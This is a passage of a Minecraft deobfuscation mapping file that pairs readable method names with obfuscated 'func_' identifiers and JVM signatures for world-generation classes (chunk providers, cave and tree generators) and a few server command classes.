(Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/gen/ChunkProviderHell/populate (Lnet/minecraft/world/chunk/IChunkProvider;II)V net/minecraft/world/gen/ChunkProviderHell/func_73153_a (Lnet/minecraft/world/chunk/IChunkProvider;II)V +MD: net/minecraft/world/gen/ChunkProviderHell/populateChunk (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z net/minecraft/world/gen/ChunkProviderHell/func_177460_a (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z +MD: net/minecraft/world/gen/ChunkProviderHell/recreateStructures (Lnet/minecraft/world/chunk/Chunk;II)V net/minecraft/world/gen/ChunkProviderHell/func_180514_a (Lnet/minecraft/world/chunk/Chunk;II)V +MD: net/minecraft/world/gen/ChunkProviderHell/provideChunk (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/gen/ChunkProviderHell/func_177459_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/gen/ChunkProviderHell/getPossibleCreatures (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/world/gen/ChunkProviderHell/func_177458_a (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/world/gen/ChunkProviderHell/saveChunks (ZLnet/minecraft/util/IProgressUpdate;)Z net/minecraft/world/gen/ChunkProviderHell/func_73151_a (ZLnet/minecraft/util/IProgressUpdate;)Z +MD: net/minecraft/world/gen/ChunkProviderHell/initializeNoiseField ([DIIIIII)[D net/minecraft/world/gen/ChunkProviderHell/func_73164_a ([DIIIIII)[D +MD: net/minecraft/world/gen/ChunkProviderHell/func_180516_b (IILnet/minecraft/world/chunk/ChunkPrimer;)V net/minecraft/world/gen/ChunkProviderHell/func_180516_b (IILnet/minecraft/world/chunk/ChunkPrimer;)V +MD: net/minecraft/world/gen/ChunkProviderHell/saveExtraData ()V net/minecraft/world/gen/ChunkProviderHell/func_104112_b ()V +MD: net/minecraft/world/gen/ChunkProviderHell/unloadQueuedChunks ()Z net/minecraft/world/gen/ChunkProviderHell/func_73156_b ()Z +MD: net/minecraft/world/gen/ChunkProviderHell/provideChunk (II)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/gen/ChunkProviderHell/func_73154_d (II)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/gen/ChunkProviderHell/canSave ()Z net/minecraft/world/gen/ChunkProviderHell/func_73157_c ()Z +MD: net/minecraft/world/gen/ChunkProviderHell/makeString ()Ljava/lang/String; net/minecraft/world/gen/ChunkProviderHell/func_73148_d ()Ljava/lang/String; +MD: net/minecraft/world/gen/ChunkProviderHell/getLoadedChunkCount ()I net/minecraft/world/gen/ChunkProviderHell/func_73152_e ()I +MD: net/minecraft/world/gen/MapGenCaves/func_180703_a (JIILnet/minecraft/world/chunk/ChunkPrimer;DDD)V net/minecraft/world/gen/MapGenCaves/func_180703_a (JIILnet/minecraft/world/chunk/ChunkPrimer;DDD)V +MD: net/minecraft/world/gen/MapGenCaves/func_180702_a (JIILnet/minecraft/world/chunk/ChunkPrimer;DDDFFFIID)V net/minecraft/world/gen/MapGenCaves/func_180702_a (JIILnet/minecraft/world/chunk/ChunkPrimer;DDDFFFIID)V +MD: net/minecraft/world/gen/MapGenCaves/recursiveGenerate (Lnet/minecraft/world/World;IIIILnet/minecraft/world/chunk/ChunkPrimer;)V net/minecraft/world/gen/MapGenCaves/func_180701_a (Lnet/minecraft/world/World;IIIILnet/minecraft/world/chunk/ChunkPrimer;)V +MD: net/minecraft/world/gen/MapGenCaves/func_175793_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/world/gen/MapGenCaves/func_175793_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/world/gen/MapGenBase/recursiveGenerate (Lnet/minecraft/world/World;IIIILnet/minecraft/world/chunk/ChunkPrimer;)V net/minecraft/world/gen/MapGenBase/func_180701_a (Lnet/minecraft/world/World;IIIILnet/minecraft/world/chunk/ChunkPrimer;)V +MD: net/minecraft/world/gen/MapGenBase/generate (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/World;IILnet/minecraft/world/chunk/ChunkPrimer;)V net/minecraft/world/gen/MapGenBase/func_175792_a (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/World;IILnet/minecraft/world/chunk/ChunkPrimer;)V +MD: net/minecraft/world/gen/MapGenCavesHell/func_180705_a (JIILnet/minecraft/world/chunk/ChunkPrimer;DDD)V net/minecraft/world/gen/MapGenCavesHell/func_180705_a (JIILnet/minecraft/world/chunk/ChunkPrimer;DDD)V +MD: net/minecraft/world/gen/MapGenCavesHell/func_180704_a (JIILnet/minecraft/world/chunk/ChunkPrimer;DDDFFFIID)V net/minecraft/world/gen/MapGenCavesHell/func_180704_a (JIILnet/minecraft/world/chunk/ChunkPrimer;DDDFFFIID)V +MD: net/minecraft/world/gen/MapGenCavesHell/recursiveGenerate (Lnet/minecraft/world/World;IIIILnet/minecraft/world/chunk/ChunkPrimer;)V net/minecraft/world/gen/MapGenCavesHell/func_180701_a (Lnet/minecraft/world/World;IIIILnet/minecraft/world/chunk/ChunkPrimer;)V +MD: net/minecraft/command/server/CommandListPlayers/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandListPlayers/func_82362_a ()I +MD: net/minecraft/command/server/CommandListPlayers/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandListPlayers/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandListPlayers/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandListPlayers/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandListPlayers/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandListPlayers/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/world/gen/ChunkProviderGenerate/chunkExists (II)Z net/minecraft/world/gen/ChunkProviderGenerate/func_73149_a (II)Z +MD: net/minecraft/world/gen/ChunkProviderGenerate/func_147423_a (III)V net/minecraft/world/gen/ChunkProviderGenerate/func_147423_a (III)V +MD: net/minecraft/world/gen/ChunkProviderGenerate/setBlocksInChunk (IILnet/minecraft/world/chunk/ChunkPrimer;)V net/minecraft/world/gen/ChunkProviderGenerate/func_180518_a (IILnet/minecraft/world/chunk/ChunkPrimer;)V +MD: net/minecraft/world/gen/ChunkProviderGenerate/replaceBlocksForBiome (IILnet/minecraft/world/chunk/ChunkPrimer;[Lnet/minecraft/world/biome/BiomeGenBase;)V net/minecraft/world/gen/ChunkProviderGenerate/func_180517_a (IILnet/minecraft/world/chunk/ChunkPrimer;[Lnet/minecraft/world/biome/BiomeGenBase;)V +MD: net/minecraft/world/gen/ChunkProviderGenerate/getStrongholdGen (Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/world/gen/ChunkProviderGenerate/func_180513_a (Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/gen/ChunkProviderGenerate/populate (Lnet/minecraft/world/chunk/IChunkProvider;II)V net/minecraft/world/gen/ChunkProviderGenerate/func_73153_a (Lnet/minecraft/world/chunk/IChunkProvider;II)V +MD: net/minecraft/world/gen/ChunkProviderGenerate/populateChunk (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z net/minecraft/world/gen/ChunkProviderGenerate/func_177460_a (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z +MD: net/minecraft/world/gen/ChunkProviderGenerate/recreateStructures (Lnet/minecraft/world/chunk/Chunk;II)V net/minecraft/world/gen/ChunkProviderGenerate/func_180514_a (Lnet/minecraft/world/chunk/Chunk;II)V +MD: net/minecraft/world/gen/ChunkProviderGenerate/provideChunk (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/gen/ChunkProviderGenerate/func_177459_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/gen/ChunkProviderGenerate/getPossibleCreatures (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/world/gen/ChunkProviderGenerate/func_177458_a (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/world/gen/ChunkProviderGenerate/saveChunks (ZLnet/minecraft/util/IProgressUpdate;)Z net/minecraft/world/gen/ChunkProviderGenerate/func_73151_a (ZLnet/minecraft/util/IProgressUpdate;)Z +MD: net/minecraft/world/gen/ChunkProviderGenerate/saveExtraData ()V net/minecraft/world/gen/ChunkProviderGenerate/func_104112_b ()V +MD: net/minecraft/world/gen/ChunkProviderGenerate/unloadQueuedChunks ()Z net/minecraft/world/gen/ChunkProviderGenerate/func_73156_b ()Z +MD: net/minecraft/world/gen/ChunkProviderGenerate/provideChunk (II)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/gen/ChunkProviderGenerate/func_73154_d (II)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/gen/ChunkProviderGenerate/canSave ()Z net/minecraft/world/gen/ChunkProviderGenerate/func_73157_c ()Z +MD: net/minecraft/world/gen/ChunkProviderGenerate/makeString ()Ljava/lang/String; net/minecraft/world/gen/ChunkProviderGenerate/func_73148_d ()Ljava/lang/String; +MD: net/minecraft/world/gen/ChunkProviderGenerate/getLoadedChunkCount ()I net/minecraft/world/gen/ChunkProviderGenerate/func_73152_e ()I +MD: net/minecraft/world/gen/ChunkProviderEnd/chunkExists (II)Z net/minecraft/world/gen/ChunkProviderEnd/func_73149_a (II)Z +MD: net/minecraft/world/gen/ChunkProviderEnd/func_180520_a (IILnet/minecraft/world/chunk/ChunkPrimer;)V net/minecraft/world/gen/ChunkProviderEnd/func_180520_a (IILnet/minecraft/world/chunk/ChunkPrimer;)V +MD: net/minecraft/world/gen/ChunkProviderEnd/getStrongholdGen (Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/world/gen/ChunkProviderEnd/func_180513_a (Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/gen/ChunkProviderEnd/populate (Lnet/minecraft/world/chunk/IChunkProvider;II)V net/minecraft/world/gen/ChunkProviderEnd/func_73153_a (Lnet/minecraft/world/chunk/IChunkProvider;II)V +MD: net/minecraft/world/gen/ChunkProviderEnd/populateChunk (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z net/minecraft/world/gen/ChunkProviderEnd/func_177460_a (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z +MD: net/minecraft/world/gen/ChunkProviderEnd/recreateStructures (Lnet/minecraft/world/chunk/Chunk;II)V net/minecraft/world/gen/ChunkProviderEnd/func_180514_a (Lnet/minecraft/world/chunk/Chunk;II)V +MD: net/minecraft/world/gen/ChunkProviderEnd/func_180519_a (Lnet/minecraft/world/chunk/ChunkPrimer;)V net/minecraft/world/gen/ChunkProviderEnd/func_180519_a (Lnet/minecraft/world/chunk/ChunkPrimer;)V +MD: net/minecraft/world/gen/ChunkProviderEnd/provideChunk (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/gen/ChunkProviderEnd/func_177459_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/gen/ChunkProviderEnd/getPossibleCreatures (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/world/gen/ChunkProviderEnd/func_177458_a (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/world/gen/ChunkProviderEnd/saveChunks (ZLnet/minecraft/util/IProgressUpdate;)Z net/minecraft/world/gen/ChunkProviderEnd/func_73151_a (ZLnet/minecraft/util/IProgressUpdate;)Z +MD: net/minecraft/world/gen/ChunkProviderEnd/initializeNoiseField ([DIIIIII)[D net/minecraft/world/gen/ChunkProviderEnd/func_73187_a ([DIIIIII)[D +MD: net/minecraft/world/gen/ChunkProviderEnd/saveExtraData ()V net/minecraft/world/gen/ChunkProviderEnd/func_104112_b ()V +MD: net/minecraft/world/gen/ChunkProviderEnd/unloadQueuedChunks ()Z net/minecraft/world/gen/ChunkProviderEnd/func_73156_b ()Z +MD: net/minecraft/world/gen/ChunkProviderEnd/provideChunk (II)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/gen/ChunkProviderEnd/func_73154_d (II)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/gen/ChunkProviderEnd/canSave ()Z net/minecraft/world/gen/ChunkProviderEnd/func_73157_c ()Z +MD: net/minecraft/world/gen/ChunkProviderEnd/makeString ()Ljava/lang/String; net/minecraft/world/gen/ChunkProviderEnd/func_73148_d ()Ljava/lang/String; +MD: net/minecraft/world/gen/ChunkProviderEnd/getLoadedChunkCount ()I net/minecraft/world/gen/ChunkProviderEnd/func_73152_e ()I +MD: net/minecraft/world/gen/feature/WorldGenAbstractTree/func_175921_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/gen/feature/WorldGenAbstractTree/func_175921_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/gen/feature/WorldGenAbstractTree/func_180711_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/gen/feature/WorldGenAbstractTree/func_180711_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/gen/feature/WorldGenAbstractTree/func_150523_a (Lnet/minecraft/block/Block;)Z net/minecraft/world/gen/feature/WorldGenAbstractTree/func_150523_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/world/gen/feature/WorldGenBigTree$FoliageCoordinates/func_177999_q ()I net/minecraft/world/gen/feature/WorldGenBigTree$FoliageCoordinates/func_177999_q ()I +MD: net/minecraft/world/gen/feature/WorldGenBigTree/generateLeafNodeList ()V net/minecraft/world/gen/feature/WorldGenBigTree/func_76489_a ()V +MD: net/minecraft/world/gen/feature/WorldGenBigTree/layerSize (I)F net/minecraft/world/gen/feature/WorldGenBigTree/func_76490_a (I)F +MD: net/minecraft/world/gen/feature/WorldGenBigTree/generateLeafNode (Lnet/minecraft/util/BlockPos;)V net/minecraft/world/gen/feature/WorldGenBigTree/func_175940_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/gen/feature/WorldGenBigTree/func_181631_a (Lnet/minecraft/util/BlockPos;FLnet/minecraft/block/state/IBlockState;)V net/minecraft/world/gen/feature/WorldGenBigTree/func_181631_a (Lnet/minecraft/util/BlockPos;FLnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/world/gen/feature/WorldGenBigTree/checkBlockLine (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;)I net/minecraft/world/gen/feature/WorldGenBigTree/func_175936_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/gen/feature/WorldGenBigTree/func_175937_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/world/gen/feature/WorldGenBigTree/func_175937_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/world/gen/feature/WorldGenBigTree/generateLeaves ()V net/minecraft/world/gen/feature/WorldGenBigTree/func_175941_b ()V +MD: net/minecraft/world/gen/feature/WorldGenBigTree/leafSize (I)F net/minecraft/world/gen/feature/WorldGenBigTree/func_76495_b (I)F +MD: net/minecraft/world/gen/feature/WorldGenBigTree/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenBigTree/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenBigTree/getGreatestDistance (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/gen/feature/WorldGenBigTree/func_175935_b (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/gen/feature/WorldGenBigTree/func_175938_b (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockLog$EnumAxis; net/minecraft/world/gen/feature/WorldGenBigTree/func_175938_b (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockLog$EnumAxis; +MD: net/minecraft/world/gen/feature/WorldGenBigTree/generateTrunk ()V net/minecraft/world/gen/feature/WorldGenBigTree/func_175942_c ()V +MD: net/minecraft/world/gen/feature/WorldGenBigTree/leafNodeNeedsBase (I)Z net/minecraft/world/gen/feature/WorldGenBigTree/func_76493_c (I)Z +MD: net/minecraft/world/gen/feature/WorldGenBigTree/generateLeafNodeBases ()V net/minecraft/world/gen/feature/WorldGenBigTree/func_175939_d ()V +MD: net/minecraft/world/gen/feature/WorldGenBigTree/func_175904_e ()V net/minecraft/world/gen/feature/WorldGenBigTree/func_175904_e ()V +MD: net/minecraft/world/gen/feature/WorldGenBigTree/validTreeLocation ()Z net/minecraft/world/gen/feature/WorldGenBigTree/func_76497_e ()Z +MD: net/minecraft/world/gen/feature/WorldGenForest/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenForest/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenBlockBlob/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenBlockBlob/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGeneratorBonusChest/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGeneratorBonusChest/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/GeneratorBushFeature/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/GeneratorBushFeature/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenCactus/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenCactus/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenClay/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenClay/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenDeadBush/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenDeadBush/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenDesertWells/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenDesertWells/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenDoublePlant/setPlantType (Lnet/minecraft/block/BlockDoublePlant$EnumPlantType;)V net/minecraft/world/gen/feature/WorldGenDoublePlant/func_180710_a (Lnet/minecraft/block/BlockDoublePlant$EnumPlantType;)V +MD: net/minecraft/world/gen/feature/WorldGenDoublePlant/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenDoublePlant/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenerator/setBlockAndNotifyAdequately (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/world/gen/feature/WorldGenerator/func_175903_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/world/gen/feature/WorldGenerator/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenerator/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenerator/func_175904_e ()V net/minecraft/world/gen/feature/WorldGenerator/func_175904_e ()V +MD: net/minecraft/world/gen/feature/WorldGenFlowers/setGeneratedBlock (Lnet/minecraft/block/BlockFlower;Lnet/minecraft/block/BlockFlower$EnumFlowerType;)V net/minecraft/world/gen/feature/WorldGenFlowers/func_175914_a (Lnet/minecraft/block/BlockFlower;Lnet/minecraft/block/BlockFlower$EnumFlowerType;)V +MD: net/minecraft/world/gen/feature/WorldGenFlowers/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenFlowers/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenShrub/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenShrub/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenFire/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenFire/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenGlowStone2/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenGlowStone2/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenHellLava/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenHellLava/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenBigMushroom/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenBigMushroom/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/command/server/CommandMessage/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandMessage/func_82362_a ()I +MD: net/minecraft/command/server/CommandMessage/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandMessage/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandMessage/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandMessage/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandMessage/getCommandAliases ()Ljava/util/List; net/minecraft/command/server/CommandMessage/func_71514_a ()Ljava/util/List; +MD: net/minecraft/command/server/CommandMessage/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/server/CommandMessage/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/server/CommandMessage/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandMessage/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandMessage/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandMessage/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/world/gen/feature/WorldGenIcePath/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenIcePath/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenIceSpike/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenIceSpike/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenLakes/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenLakes/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenGlowStone1/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenGlowStone1/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenMegaJungle/func_181632_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/properties/PropertyBool;)V net/minecraft/world/gen/feature/WorldGenMegaJungle/func_181632_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/properties/PropertyBool;)V +MD: net/minecraft/world/gen/feature/WorldGenMegaJungle/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenMegaJungle/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenMegaJungle/func_175930_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)V net/minecraft/world/gen/feature/WorldGenMegaJungle/func_175930_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/gen/feature/WorldGenMegaPineTree/func_150541_c (Lnet/minecraft/world/World;IIIILjava/util/Random;)V net/minecraft/world/gen/feature/WorldGenMegaPineTree/func_150541_c (Lnet/minecraft/world/World;IIIILjava/util/Random;)V +MD: net/minecraft/world/gen/feature/WorldGenMegaPineTree/func_180711_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/gen/feature/WorldGenMegaPineTree/func_180711_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/gen/feature/WorldGenMegaPineTree/func_175933_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/gen/feature/WorldGenMegaPineTree/func_175933_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/gen/feature/WorldGenMegaPineTree/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenMegaPineTree/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenMegaPineTree/func_175934_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/gen/feature/WorldGenMegaPineTree/func_175934_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/gen/feature/WorldGenHugeTrees/func_175925_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)V net/minecraft/world/gen/feature/WorldGenHugeTrees/func_175925_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/gen/feature/WorldGenHugeTrees/func_175929_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;I)Z 